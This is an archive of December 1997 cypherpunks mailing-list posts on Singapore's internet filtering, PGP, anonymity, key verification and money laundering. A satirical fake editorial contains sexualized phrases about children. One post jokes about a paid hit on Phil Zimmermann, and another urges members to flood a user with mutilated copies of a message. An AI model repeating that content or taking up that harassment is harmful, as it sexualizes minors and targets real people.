The story goes like this.  The Singapore Broadcasting Authority wanted to 
have a mechanism to filter out "undesirable" sites.  They know extremely
well that it cannot be done successfully but nonetheless, due to political
point scoring (1996 being election year), they had to be seen to be doing
something.  So, they trialed with the ISP the use of filter lists with 
the proxy servers to see how they can implement their censorship rules.

Then when they finally announced the policy, the SBA quickly covered their
asses by saying that they leave it to the ISPs to choose the weapon to do
the SBA's evil deed.  The ISPs, having trialed the filter mechanism, decided 
to continue with it which is just as well, for we can easily work around it.

So, today, there are an alleged 100 sites that are on the filter list.  What
these sites are, are a unknown.  Nonetheless there is an effort to 
independently discover the list (http://www.sintercom.org/hunt/rahunt.html).
Also, read http://home.pacific.net.sg/~harish/fiasco for an angle on the
whole issue.

Regards.
-- 
Harish Pillay                             	  h.pillay@ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 8 Dec 1997 10:06:59 +0800
To: harish.pillay@brokat.com
Subject: Re: Singapore
In-Reply-To: <199712070907.RAA05005@brokat.com.sg>
Message-ID: <Pine.LNX.3.93.971208113312.210G-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 7 Dec 1997, Harish Pillay wrote:

[...]

> Well, indeed,
> the top level ISPs here have choosen to use filtering proxy servers to filter 
> out an alleged list of 100 porno sites

May I ask why thay have choosen to switch on these filters?

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNItBCaQK0ynCmdStAQESdAP/VAJU9rGOPMCl3eSQUVceQv6bVtS8KQEE
GNIB1Rkxr7IGC+zAH/zhIdZHL/WHKPK0YEt6u4SHnIRglrd/tYY8kLwI7Bu5o8Ct
puv6UzJh/24nomdqsdetsYds4VMgn3uTzI7RjkkXvuHqNh03Py8FSNBkseEqCu3Z
7TuKdcl0GGw=
=rH0k
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 9 Dec 1997 01:15:26 +0800
To: cypherpunks@toad.com
Subject: A Pretty Good Story, from The Netly News
Message-ID: <v03007801b0b1d87965eb@[204.254.22.9]>
MIME-Version: 1.0
Content-Type: text/plain



*********

http://cgi.pathfinder.com/netly/opinion/0,1042,1617,00.html

The Netly News Network (http://netlynews.com/)
December 8, 1997

A Pretty Good Story
by Declan McCullagh (declan@well.com)

        Phil Zimmermann had it easy fighting the U.S. government: At
   least everyone else was on his side. Today the legendary cryptographer
   and founder of Pretty Good Privacy (PGP) is finding that his latest
   adversaries are just as determined but much more diverse.

       Earlier this fall PGP drew fire for releasing PGP 5.5 with a
   so-called "message recovery" feature that a corporation could require
   users to turn on to let the boss read their e-mail. Then, when McAfee
   Associates announced last week it would buy PGP, formerly supportive
   privacy advocates screamed that the company's new owners were part of
   the "Key Recovery Alliance," a group of firms devoted to producing
   data-scrambling software easily snoopable by the government.

        Now the complaining may stop, at least for a while. The
   McAfee-PGP combo, called Network Associates, has dropped out of the
   alliance. "I never would have allowed my own company to join the Key
   Recovery Alliance," Zimmermann told me yesterday. "As soon as I found
   out about McAfee being a member, I tried to do something about it."

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 9 Dec 1997 04:12:13 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Time Magazine on America Online pornospam and Kids Summit
Message-ID: <199712082002.MAA04712@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About  8 Dec 97 at 12:44, Declan McCullagh wrote:

> http://www.pathfinder.com/time/magazine/1997/dom/971215/technology.a
> merica_onlin.html

>From the above:

"But parents may have to resort to the crude but effective technique
of keeping the computer in public view and looking over the kids'
shoulders every once in a while. "

What a novel idea, Declan, parental supervision!  Who would have 
thought?

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://ross.adnetsol.com
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul Bradley" <csm70830@port.ac.uk>
Date: Mon, 8 Dec 1997 20:33:27 +0800
To: cypherpunks@Algebra.COM
Subject: Riutual processing???
In-Reply-To: <348B3415.A6E3162F@Bradford.ac.uk>
Message-ID: <FEFFAC3CE6@ou20.csm.port.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain




For all pentium haters, I advise a visit to this page:


> http://www.top.net/chia/pentiumgram/
 
--                  
                            Paul Bradley 
                      paul@fatmans.demon.co.uk
       "Why should anyone want to live on rails?" - Stephen Fry





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Arnold G. Reinhold" <reinhold@world.std.com>
Date: Tue, 9 Dec 1997 01:56:43 +0800
To: Adam Back <smith@securecomputing.com
Subject: Re: WoT discussions, Trust for Nyms
In-Reply-To: <v03007800b0ae121c8f4c@[172.17.1.150]>
Message-ID: <v03110702b0b1db4cc9b3@[24.128.40.70]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:06 AM +0000 12/6/97, Adam Back wrote:>
>
>Another lower bandwidth method of making the MITM's job harder is to
>sign and/or publish hashes of public key databases -- download the
>keys, or some useful easily definable subset of keys on keyservers,
>and publish the hash of them in as many media as possible (web,
>finger, news, mail, newspapers, etc.)
>

I have always felt this to be a nearly complete and practical answer to
MITM attacks. Frozen versions of major key databases would be made
available on the net along with a master list of hashes. The hash of that
master list would be widely distributed by electronic and non-electronic
means. One would only have to do it periodically, say every year or two.
Why can't this be done now?

A public billboards would be a good location to post the master hash.  (I
like to call the whole approach the "Billboard defense.") I suspect one
could rent visible space on the back side of billboards quite cheaply.
Another good location would be on a bulletin board near a publicly
accessible library. The MIT "infinite corridor" comes to mind.

A variant is for PGP users to post their own fingerprint near their house
or place of business. A business-card-size sign in a window near the front
door would do. People who agree to post such signs would be identified in
the key server database. A suspicions John could then look up a suitable
public key holder in their area, visit their house, and verify the
fingerprint. John would then e-mail an encrypted request to verify a
suspect key to that person.

>Let's say John buys a book on cryptography, and the author included
>his fingerprint.  Then John could use this person to authenticate a
>key with Alice.  He could write to the author, including a nonce with
>the plaintext, and ask the author to check that the key he thought
>belonged to Alice really did belong to her.
>

My PGP fingerprint is printed on page 232 of E-mail for Dummies, 2nd
edition, IDG Books Worldwide, which I co-authored.

Arnold Reinhold






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 9 Dec 1997 02:00:54 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer Trivia / Re: Singapore & Freedom
Message-ID: <fada62b9d09a4615035682856f7c6082@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



> Doesn't Anonymous have a brother, Neal? Isn't he a playwrite, or
> author, or something?
> Anybody?

Neal Coward?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 9 Dec 1997 02:00:39 +0800
To: cypherpunks@toad.com
Subject: Time Magazine on America Online pornospam and Kids Summit
Message-ID: <v03007801b0b1e21585df@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



*********

http://www.pathfinder.com/time/magazine/1997/dom/971215/technology.why_johnny_ca
.html

Time Magazine
December 15, 1997
Page 76

AMERICA ONLINE'S LITTLE PROBLEM
By Michael D. Lemonick
Reported by Bruce van Voorst and Declan McCullagh/Washington

   If you logged on to America Online last week, you may well have found
   E-mail waiting from someone you never heard of imploring you to JOIN
   US AT PINK PUSSY CLUB THE HOTTEST SITE FOR XXX LIVE GIRL SEX SHOWS!!
   or proclaiming OVER 1,000 EROTIC AND EXOTIC SHOWS!!!!!! CLICK HERE TO
   ENTER or any of hundreds of similar electronic come-ons.

   Spam--unsolicited junk E-mail--is perhaps the most irritating feature
   of online life. Its purveyors use powerful software to "harvest"
   screen names and then ship out bulk electronic mail bearing sales
   pitches or get-rich-quick schemes.

[...]

Other Time features:

Bruce Handy on last week's Kids Summit: "Why Johnny Can't Surf":

http://www.pathfinder.com/time/magazine/1997/dom/971215/technology.america_onlin
.html

Time poll on Are Your Kids Safe Online?

http://cgi.pathfinder.com/cgi-bin/gdml2x/game/time/internet






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 9 Dec 1997 04:24:42 +0800
To: cypherpunks@cyberpass.net
Subject: Safe Speech
Message-ID: <199712082011.OAA30644@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



 
 
 
                 The Blue-Nosed Guardian (Nikki Craft, NJ)
 
                 December 4, 2000; THURSDAY; ALL EDITIONS
 
SECTION: OPINION;
 
HEADLINE: PEDOPHILES IN THE BIOSPHERE;
WE MUST STOP SPOKEN CHILD PORNOGRAPHY EVERYWHERE
 
BYLINE: The Record
 
BODY:
 
The increasing presence of child pornography in spoken communications
is a national problem that must be dealt with aggressively and
quickly. This is not a free-speech or First Ammendment issue.  Child
pornography is a crime.  We do not tolerate it on our computers, and
we should not tolerate it in audiospace.
 
Unfortunately, as a Page One article in the Blue-Nosed Guardian
pointed out yesterday, audiospace is tailor-made for the dissemination
of child pornography.  It allows peophiles instant access to explicit
descriptions of childhood sexual activity almost anywhere, and it
gives distributors and collectors enough anonymity to avoid getting
caught and being prosecuted.
 
Using advanced non-digital technology, two pedophiles can meet almost
anywhere, and exchange explicit descriptions of childhood sexual
activity, with little fear of detection.  Phrases like "Timmy, aged 7,
has a stiffie" and "Little Mary's muffin swelled and moistened when
she saw little Timmy's cute red knob" can be exchanged with ease
vicariously victimizing inocent children worldwide by transforming
them into sexual objects for pedophiles' selfish gratification.
 
In fact, the ease of communicating descriptions of childhood sexual
activity through the spoken word may actually have broadened the
audience for child pornography.  And law enforcement officials worry
that this may lead to increased child abuse, because American parents
might actually begin to believe that guilt-free sex-positive messages
are good for children, in lieu of the normal beatings and
state-mandated psychotherapy.
 
Vice President and famed child-rearing expert Dr. James Dobson has
been leading a campaign to make sound waves safe for children.  This
week, he announced a new partnership between cities and the Justice
Department effort to crack down on child pornography, and a toll-free
hotline where people may report any neighbors heard discussing the
sexuality of minors in terms other than those used in Surgeon General
Phyllis Schlafly's "Innocence and Abstinence" report.
 
But law enforcement officials, sound wave experts, and child advocates
say it's not that easy, by any means.  Even if landlords, businesses,
and professionals cooperate in monitoring all speech uttered by
persons on their premises, there are hundreds of small conversations
which take place in other locations, where people are loathe to police
others, because of liability concerns, or because they consider it to
be a waste of time.
 
The Blue-Nosed Guardian's article also pointed out that most law
enforcement officials are not knowlegable enough to track down child
pornography distributors, who are experts at whispering spoken
descriptions of child sexual activity and finding new ways to conceal
their communications from onlookers.  Law enforcement officials may
also lack the manpower needed to track down pedophiles.  "If we want
to break into someones house and install recording equipment," one
investigator said, "we actually have to go in front of a judge and get
a warrant." Child advocates say they hope to eliminate such "loopholes
for pedophiles" in the future.
 
Many more "audiocops" are needed at the federal, state, and local
levels, who have the expertise to stay ahead of spoken communication,
and much more manpower and training is needed.
 
In New Jersey, state Sen. stupid fuck Andrew Ciesla, has introduced a
bill which would set aside $400,000,000 of money stolen from the
taxpayers for a special unit to investigate spoken child pornography,
and create a 24-hour toll-free state hot line for people to turn in
their neighbors.
 
Alerting the authorities is a key component of this crackdown, and Dr.
Dobson also announced a national "AudioTip" hotline to report any
comments about childhood sexuality which might be overheard.  Dr.
Dobson also took the opportunity to plug his new book, "Dare to
Discipline III: Electrotorture and Enemas."
 
The Vice President is to be commended for seeking ways to stop these
ugly predators.  But this effort must be more than just lip service.
It must result in all Americans understanding that children have no
sexual feelings, and engage in no sexual behavior prior to age 18
unless they have been corrupted by pedophiles, and that abstinence is
the expected behavior of those over 18, before entering into a stable
marriage which can only be terminated by the death of one of the
partners.
 
In the meantime, intense pressure should be brought to bear on the
non-mute citizen units, and those who supervise them, to make a huge
dent in this particularly vile audiocrime, through aggressive
self-policing and frequent government-sponsored self-criticism
sessions.

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 8 Dec 1997 22:13:42 +0800
To: cypherpunks@Algebra.COM
Subject: Remailer Trivia / Re: Singapore & Freedom
Message-ID: <199712081405.PAA07368@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Secret Squirrel wrote:
> 
> Harish Pillay <harish@brokat.com.sh> wrote:
> >Interesting that you hide behind an anomymous name and you claim to
> >be outside Singapore.  I for one, will stand by my name and say that
> >things I should say about this country of mine (warts and all) and
> >not have to hide behind anonymity (not that I would not use anonymity
> >ever :-)).
> 
> Typical.

Doesn't Anonymous have a brother, Neal? Isn't he a playwrite, or
author, or something?
Anybody?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 9 Dec 1997 03:27:48 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <82d58c5d19de5a8a146b13b45d7a1d25@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



Hmm. Okay, then.

I think Vulis needs each of us to send twenty copies of this back to him in
a horribly mutilated state.

>I think Vulis uses procmail.
>
>On 7 Dec 1997, Secret Squirrel wrote:
>
>> I think Vulis needs each of us to send ten copies of this back to him.
>>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 9 Dec 1997 08:10:29 +0800
To: Clyde Williamson <cypherpunks@Algebra.COM
Subject: Re: A Pretty Good Story, from The Netly News
In-Reply-To: <v03007801b0b1d87965eb@[204.254.22.9]>
Message-ID: <v03102805b0b22c94300e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:15 PM -0700 12/8/97, Clyde Williamson wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Well, I guess we can call off the hit on Zimmermann... hehehe.
>

I heard it was a "fire and forget" job...can't be recalled. The monies have
already been paid in TrueDigicash (tm) to Cypherspace Escrow (their motto:
"You slay, we pay.")

Besides, it may serve as a reminder to others.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Tue, 9 Dec 1997 08:37:18 +0800
To: cypherpunks@cyberpass.net
Subject: Message
Message-ID: <199712090023.QAA18676@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Steve Schear wrote:
>Nerthus wrote:
>>Might be a bit of a stretch, but I think this is because money today is 
>>inherently a liability, that is a debt that someone, somewhere has promised 
>>to pay back.
>
>You've got this all backwards.  The bearer certificates (paper money) issued 
>by governments is an interest-free loan by those holding the paper to the 
>issuer.

This is true, but it is only part of the picture.  The paper currency issuer 
(the central bank) is enjoying seigniorage, that is -- in the case of the US 
- -- the Federal Reserve is collecting revenue from the interest earned on the 
outstanding paper dollars.  This earned interest is given to the Treasury 
and accounted for as revenue for the federal government.

However, this tells us nothing about the currency's real worth.  We need to 
look deeper to find the source of the paper currency's value.  When the US 
government wants to create money, it issues debt instruments such as T-Bills 
to the Fed or to a commercial bank.  The bank then credits the government's 
deposit (checking) account for the face value of the T-Bill.  The bank 
believes it will collect this money back plus interest in a certain amount 
of time.  The government can then ask the Fed to issue some paper cash in 
exchange for the deposit currency (new paper is then created).    

The T-Bill is nothing but a promise by the federal government to pay back a 
debt.  The government has taken a loan from a bank and promises to pay it 
back in 1,5,10 or 30 years with interest.  The money to pay it back comes 
directly from the tax revenues the government collects from its citizens.  
Thus paper currency is based on the debt saddled upon future generations of 
citizens/taxpayers.

Interestingly, this is not much different than John Q. Public getting cash 
advances on his credits cards for a few years and then wondering why he is 
$25k in the hole and growing at 18% per annum.  Many people, especially 
politicians, always go for the short term gain, regardless of the long term 
consequences.  Debt-based currency (primarily a 20th century phenomenon) has 
ushered in a new era of political and financial irresponsibility.

Eventually the debts must either be reneged on or paid off.  When that time 
finally comes, neither option will paint a pretty picture.

Nerthus

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIxg7Ra1d3zm4nqOEQJnnwCfaOLKaiCiYuqUJRSVBLc1Q6aZ4VIAoNJY
EdB96VwVlxlcI9u3Glnwjf1y
=vMJq
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Perry <perry@alpha.jpunix.com>
Date: Tue, 9 Dec 1997 06:49:12 +0800
To: Alex de Joode <usura@sabotage.org>
Subject: Re: [Mix-L] mail2news gateway (fwd)
In-Reply-To: <199712082217.XAA03959@basement.replay.com>
Message-ID: <19971208163152.39084@alpha.jpunix.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Dec 08, 1997 at 11:17:20PM +0100, Alex de Joode wrote:

> 
> Anyone has more info ------
> 
> For the past several weeks, a right wing extremist group in Topeka,
> Kansas has been tampering with mail2news gateways, including yours, to
> prevent several people who

It's news to me! Nobody has been tampering with the m2n at jpunix.

-- 
 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bert-Jaap Koops" <E.J.Koops@kub.nl>
Date: Tue, 9 Dec 1997 00:30:33 +0800
To: cryptography@c2.net
Subject: Crypto Law Survey updated
Message-ID: <3E24B04053C@frw3.kub.nl>
MIME-Version: 1.0
Content-Type: text/plain



I have just updated my survey of existing and envisaged cryptography
laws and regulations. See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm

This update includes:
-new entries on Estonia, Hungary, Kazakhstan, Latvia, Romania, Turkey
     (import/export) and on Argentina, Malaysia, South Korea (domestic) 
-update on European Union (Commission Communication: advises
     export adaptation, wary of key recovery, EU will use encryption
     itself), Belgium (govt proposal), Brazil (import/ use controls
     possible in 1998), France (expected decrees delayed by NL),
     Germany (Kanther chip; no regulation intention), Sweden (Cabinet
     Office report), Turkey (perhaps domestic controls), 
     US (BXA seeks comments; Bernstein hearing scheduled; SAFE
     Act amended/ uncertain future; KMI FIPS meetings; AES candidate
     call) 
-clarification on Poland (import), Singapore, South Africa,
     UK (export) 
-URLs added to EU (KRISIS), France (critique), UK
     (list of responses), US (KMI FIPS, amendment S909) 

Kind regards,
Bert-Jaap

---------------------------------------------------------------------
Bert-Jaap Koops                         tel     +31 13 466 8101
Center for Law, Administration and      facs    +31 13 466 8149
Informatization, Tilburg University     e-mail  E.J.Koops@kub.nl
                  --------------------------------------------------
Postbus 90153    |  This world's just mad enough to have been made  |
5000 LE Tilburg  |    by the Being his beings into being prayed.    |
The Netherlands  |                (Howard Nemerov)                  |
---------------------------------------------------------------------
         http://cwis.kub.nl/~frw/people/koops/bertjaap.htm
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 8 Dec 1997 15:55:20 +0800
To: harish.pillay@brokat.com
Subject: Re: Singapore
In-Reply-To: <199712070918.RAA05254@brokat.com.sg>
Message-ID: <Pine.LNX.3.93.971208164538.202A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 7 Dec 1997, Harish Pillay wrote:

[...]

> > In Germany you can in fact criticize the goverment without risk of 
> > prosecution for seditious libel, that you cannot in Singapore.
> 
> You *can* critise the SG govt.  The idiots who claim to be the SG govt are
> however very sensitive (i.e. have very thin skins) to anyone who makes false
> criticisms.

IIRC the peaple who decide weather these criticisms are false or not (the
judges) are quite biased towards the goverment.  If my memouries of a
recent news story are correct, a recent judment against the goverment
was a great shock to every one.

I have also have heard that the sueing by the goverment is aimmed at
driving thouse who critiscise it into bankrupsy and thus unable to hold
office.

[...]

> > Germany does not practice a blocking regime on the InterNet 
> > similar to  that Singapore does, since that would be in contrary to the 
> > constitutional ban on censorship.
> 
> Which has been circumvented by using alternate proxies or www.anonymizer.com.
> Check www.sintercom.org/hunt/rahunt.html for more info.

Its not wather the taticks where effective or not that is importent.  It
is the fact that the goverment attempted.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>Nerthus <no.reply.address@sirius.infonex.com>
Date: Tue, 9 Dec 1997 09:54:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
Message-ID: <199712090133.RAA29460@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Steve Schear wrote:
>This topic, of course, is near the top of many libertarian e-commerce 
>agendas.  Almost every mainstream news article and regulatory report repeats 
>the littany that Money Laundering, that is the movement of money to disguise 
>it origin (even if there are no predicate offenses) must remain illegal 
>because it damages or is a threat to the world banking and financial system 
>(not just the tax take of governments), but I have yet to see any 
>explanation of how and why.  Anyone care to comment?

Might be a bit of a stretch, but I think this is because money today is 
inherently a liability, that is a debt that someone, somewhere has promised 
to pay back.  Such is the nature of fractional reserve banking and 
debt-based currencies under which the international financial system 
functions.

Thus if the origin of the money (the indebted party) is obscured, it becomes 
increasingly difficult to manage the quality of the world's money supply.  
After all, how can the issuer of the money collect on the debt that 
ultimately backs it when the issuer has no idea who to collect the debt 
from?  Take away the ability to manage debt effectively and the issuer's 
money quickly becomes worthless (be it a commercial bank issuing deposit 
currency as a loan to its customers or a government's central bank issuing 
cash currency to its citizens based on a debt placed upon future generations 
of citizens).

A money's value is measured by the quality of debt backing it.  If the debt 
is defaulted on (whether through obscurity, Chapter 11, etcetera), the money 
loses value, which in turn can have negative systemic repercussions 
throughout the world's financial markets.  The recent Asian currency 
devaluations (South Korea in particular) and the accompanying financial woes 
are a good example of what happens when the debt quality of money devalues.

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Tue, 9 Dec 1997 01:51:34 +0800
To: remailer-politics@server1.efga.org
Subject: Re: Remailer Trivia / Re: Singapore & Freedom
Message-ID: <19971208174004.3670.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Harish Pillay <harish@brokat.com.sg>
 
> Interesting that you hide behind an anomymous name and you claim to
                       ^^^^^^^^^^^
> be outside Singapore.  I for one, will stand by my name and say that
> things I should say about this country of mine (warts and all) and
> not have to hide behind anonymity (not that I would not use anonymity
              ^^^^^^^^^^^
> ever :-)). 

I find it interesting that most of the people who refer to anonymous
posters as "hiding behind" or "hiding behind the skirts of" something
usually have unlisted telephone numbers when you try to do a search
for them. <g>  I wonder why "hiding behind" an unlisted telephone number
is considered acceptable but having an "unlisted" e-mail address is not
considered acceptable?

Nor is it useful to argue that anonymity should only be used when it's
"needed".  That decision should be at the sole discretion of the
poster.  With the advent of firms that sell "dossiers" of the public
posts of potential job candidates to employers, maybe posting using your
own name is something everyone ought to at least reconsider.  For many
people, the choice is not between posting openly versus posting
anonymously, but rather between posting openly and NOT POSTING AT ALL.

Censorious individuals contribute to that by deliberately attempting to
ridicule and discredit anonymous posters.  Since you often cannot determine
an anonymous poster's religion, race, nationality, or sexual preference,
those who prefer ad hominem attack to a rational debate of the issues attack 
the poster's anonymity, instead.

BTW, do you "hide behind" clothes when you walk on the street?  If so, why?
Got something to hide?  Huh?  COWARD!!!! <g>

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@neptune.chem.uga.edu>
Date: Tue, 9 Dec 1997 06:59:59 +0800
To: Alex de Joode <usura@sabotage.org>
Subject: Re: mail2news gateway (fwd)
In-Reply-To: <199712082217.XAA03959@basement.replay.com>
Message-ID: <Pine.LNX.3.94.971208173824.6085Z-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 8 Dec 1997, Alex de Joode wrote:

> Anyone has more info
> ------
> 
> For the past several weeks, a right wing extremist group in Topeka,
> Kansas has been tampering with mail2news gateways, including yours, to
> prevent several people who oppose their hate agenda from posting to the
> usenet through your gateway. 
> 
> The affected gateways include at least alt.revisionism, alt.christnet,
> alt.politics.homosexuality and alt.abortion. Posts are returned "user
> unknown" suggesting that the mailbox may have been deleted. 
> 
> This is a group of *fanatics* (Westboro Baptist Church) whose website
> godhatesfags.com may be known to you. They also operate several other
> websites under aliases the best-known of which is
> revwhite.bestsites.net. They advocate murdering abortion clinic workers,
> homosexuals and blacks. 

The nuts are real enough, but I think this must be a troll, or from
someone really confused.

Andy Dustman / Computational Center for Molecular Structure and Design
For a great anti-spam procmail recipe, send me mail with subject "spam".
Append "+spamsucks" to my username to ensure delivery.  KeyID=0xC72F3F1D
Encryption is too important to leave to the government. -- Bruce Schneier
http://www.athens.net/~dustman mailto:andy@neptune.chem.uga.edu   <}+++<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0170.myriad.ml.org (Matthew Ghio)
Date: Tue, 9 Dec 1997 07:18:31 +0800
To: Alex de Joode <usura@sabotage.org>
Subject: Re: mail2news gateway (fwd)
In-Reply-To: <199712082217.XAA03959@basement.replay.com>
Message-ID: <199712082258.RAA25427@myriad>
MIME-Version: 1.0
Content-Type: text/plain



Someone wrote to usura:
> 
> For the past several weeks, a right wing extremist group in Topeka,
> Kansas has been tampering with mail2news gateways, including yours,
> to prevent several people who oppose their hate agenda from posting
> to the usenet through your gateway.
> 
> The affected gateways include at least alt.revisionism, alt.christnet,
> alt.politics.homosexuality and alt.abortion. Posts are returned "user
> unknown" suggesting that the mailbox may have been deleted.
> 
> This is a group of *fanatics* (Westboro Baptist Church) whose website
> godhatesfags.com may be known to you. They also operate several other
> websites under aliases the best-known of which is revwhite.bestsites.net.
> They advocate murdering abortion clinic workers, homosexuals and blacks.
[snip]


Yeah, I get email from these idiots every couple of weeks.  Every time
this guy's news server disk gets full and drops a post, or bounces an
email, he thinks someone is censoring him.  Just ignore it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Tue, 9 Dec 1997 02:08:02 +0800
To: cypherpunks@toad.com
Subject: Re: Complete package for Cantsin Protocol No. 2
Message-ID: <19971208180006.2435.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Steffen Zahn <zahn@berlin.snafu.de> wrote:
 
> I have put together a package for Cantsin 2 Signatures, to 
> generate the keys, sign documents and check signatures.
>  
> Prerequisites are:
>  
> perl Version 5
> libgmp Version 2.*
> a C compiler
> currently /dev/random for generation of keys and signatures
>  
> precompiled binaries are provided for Linux-ELF (libc-5.*), if you have
> that you don't need libgmp.
>  
> Pick it up from http://www.snafu.de/~zahn/cantsin.tar.gz (70 KByte)

Have you got a URL I can check out which explains this protocol and how
it's superior to, let's say, PGP?

Thanks.

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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=q1Hg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clyde Williamson <clydew@ee.net>
Date: Tue, 9 Dec 1997 07:10:54 +0800
To: cypherpunks@toad.com
Subject: Re: A Pretty Good Story, from The Netly News
In-Reply-To: <v03007801b0b1d87965eb@[204.254.22.9]>
Message-ID: <3.0.1.32.19971208181548.00693ca0@ee.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Well, I guess we can call off the hit on Zimmermann... hehehe.

BTW- Is there any way to create keys on PGP 5.0 besides the Diffe-
Hellman alg.?



>*********
>
>http://cgi.pathfinder.com/netly/opinion/0,1042,1617,00.html
>
>The Netly News Network (http://netlynews.com/)
>December 8, 1997
>
>A Pretty Good Story
>by Declan McCullagh (declan@well.com)
>
>        Phil Zimmermann had it easy fighting the U.S. government: At
>   least everyone else was on his side. Today the legendary 
cryptographer
>   and founder of Pretty Good Privacy (PGP) is finding that his 
latest
>   adversaries are just as determined but much more diverse.
>
>       Earlier this fall PGP drew fire for releasing PGP 5.5 with a
>   so-called "message recovery" feature that a corporation could 
require
>   users to turn on to let the boss read their e-mail. Then, when 
McAfee
